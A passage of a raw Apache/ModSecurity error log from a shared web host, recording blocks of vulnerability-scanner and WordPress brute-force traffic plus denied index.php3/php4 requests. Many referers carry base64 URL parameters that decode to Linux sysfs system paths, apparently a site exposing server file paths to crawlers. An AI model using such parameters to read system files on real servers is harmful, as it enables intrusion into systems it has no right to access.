https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:23:30.818583 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:23:31.112702 2026] [security2:error] [pid 646876:tid 646901] [remote 17.246.23.244:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 244.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30g9yTkdrNlD40tSHTBAAAexY"] [Sat Jun 13 18:23:31.164201 2026] [security2:error] [pid 715691:tid 715717] [remote 17.241.227.121:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 121.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30g7V-dFiaX9AtWiQlJQABbgc"] [Sat Jun 13 18:23:31.314062 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.68:49352] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:31.314333 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.68:49352] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:31.341744 2026] [security2:error] [pid 715691:tid 715742] [remote 17.246.19.145:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30g7V-dFiaX9AtWiQlKwABgSA"] [Sat Jun 13 18:23:31.399078 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:31.399353 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:31.469760 2026] [access_compat:error] [pid 715691:tid 715787] [remote 57.141.14.66:40200] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:31.470025 2026] [access_compat:error] [pid 715691:tid 715787] [remote 57.141.14.66:40200] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:31.600205 2026] [access_compat:error] [pid 715691:tid 715810] [remote 57.141.14.85:42616] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:31.600463 2026] [access_compat:error] [pid 715691:tid 715810] [remote 57.141.14.85:42616] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:31.708348 2026] [security2:error] [pid 715691:tid 715722] [remote 17.241.227.74:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 74.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30g7V-dFiaX9AtWiQlOAABIAw"] [Sat Jun 13 18:23:31.929796 2026] [access_compat:error] [pid 646876:tid 646915] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:23:31.930243 2026] [access_compat:error] [pid 646876:tid 646915] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:23:32.008895 2026] [access_compat:error] [pid 646876:tid 646979] [remote 57.141.14.14:43182] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:32.009370 2026] [access_compat:error] [pid 646876:tid 646979] [remote 57.141.14.14:43182] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:32.163053 2026] [access_compat:error] [pid 715691:tid 715833] [remote 57.141.14.64:61488] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:32.163521 2026] [access_compat:error] [pid 715691:tid 715833] [remote 57.141.14.64:61488] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:32.407644 2026] [security2:error] [pid 715691:tid 715750] [remote 17.246.19.162:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 162.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30hLV-dFiaX9AtWiQlUwABECg"] [Sat Jun 13 18:23:32.452860 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9kZXZpY2UvZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:23:32.453141 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9kZXZpY2UvZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:23:32.513690 2026] [security2:error] [pid 715691:tid 715790] [remote 17.22.237.39:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 39.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30hLV-dFiaX9AtWiQlVwABYk8"] [Sat Jun 13 18:23:32.757683 2026] [security2:error] [pid 715691:tid 715719] [remote 17.241.75.218:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 218.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30hLV-dFiaX9AtWiQlWwABaAk"] [Sat Jun 13 18:23:32.785604 2026] [access_compat:error] [pid 715691:tid 715798] [remote 57.141.14.19:50456] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:32.785934 2026] [access_compat:error] [pid 715691:tid 715798] [remote 57.141.14.19:50456] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:32.983426 2026] [access_compat:error] [pid 646876:tid 647004] [remote 57.141.14.82:31930] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:32.984114 2026] [access_compat:error] [pid 646876:tid 647004] [remote 57.141.14.82:31930] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:32.990581 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:23:32.991102 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:23:33.051476 2026] [security2:error] [pid 715691:tid 715874] [client 210.217.96.217:48126] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30hbV-dFiaX9AtWiQlYQAAASs"] [Sat Jun 13 18:23:33.051706 2026] [security2:error] [pid 715691:tid 715874] [client 210.217.96.217:48126] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30hbV-dFiaX9AtWiQlYQAAASs"] [Sat Jun 13 18:23:33.289283 2026] [security2:error] [pid 646876:tid 646970] [remote 17.246.19.10:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 10.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30hdyTkdrNlD40tSHTPAAAVVs"] [Sat Jun 13 18:23:33.292981 2026] [security2:error] [pid 715691:tid 715903] [client 172.56.168.133:28375] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30hbV-dFiaX9AtWiQlZwAAAUg"] [Sat Jun 13 18:23:33.297667 2026] [security2:error] [pid 715691:tid 715903] [client 172.56.168.133:28375] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30hbV-dFiaX9AtWiQlZwAAAUg"] [Sat Jun 13 18:23:33.447495 2026] [security2:error] [pid 715691:tid 715834] [remote 17.246.23.242:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 242.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30hbV-dFiaX9AtWiQlbgABLXs"] [Sat Jun 13 18:23:33.487442 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:33.487714 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:33.525363 2026] [access_compat:error] [pid 646876:tid 646940] [remote 57.141.14.28:31242] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:33.525739 2026] [access_compat:error] [pid 646876:tid 646940] [remote 57.141.14.28:31242] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:33.713462 2026] [security2:error] [pid 715691:tid 715753] [remote 17.22.245.140:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 140.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30hbV-dFiaX9AtWiQldAABZCs"] [Sat Jun 13 18:23:33.782039 2026] [access_compat:error] [pid 646876:tid 646921] [remote 57.141.14.107:37567] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:33.782491 2026] [access_compat:error] [pid 646876:tid 646921] [remote 57.141.14.107:37567] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:33.827099 2026] [security2:error] [pid 715691:tid 715746] [remote 17.241.219.187:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 187.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30hbV-dFiaX9AtWiQldgABeyQ"] [Sat Jun 13 18:23:34.036897 2026] [access_compat:error] [pid 646876:tid 646953] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:23:34.037168 2026] [access_compat:error] [pid 646876:tid 646953] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:23:34.044384 2026] [access_compat:error] [pid 715691:tid 715748] [remote 57.141.14.83:37392] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:34.044626 2026] [access_compat:error] [pid 715691:tid 715748] [remote 57.141.14.83:37392] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:34.244132 2026] [security2:error] [pid 715691:tid 715802] [remote 17.241.219.60:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 60.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30hrV-dFiaX9AtWiQlgAABNFs"] [Sat Jun 13 18:23:34.386196 2026] 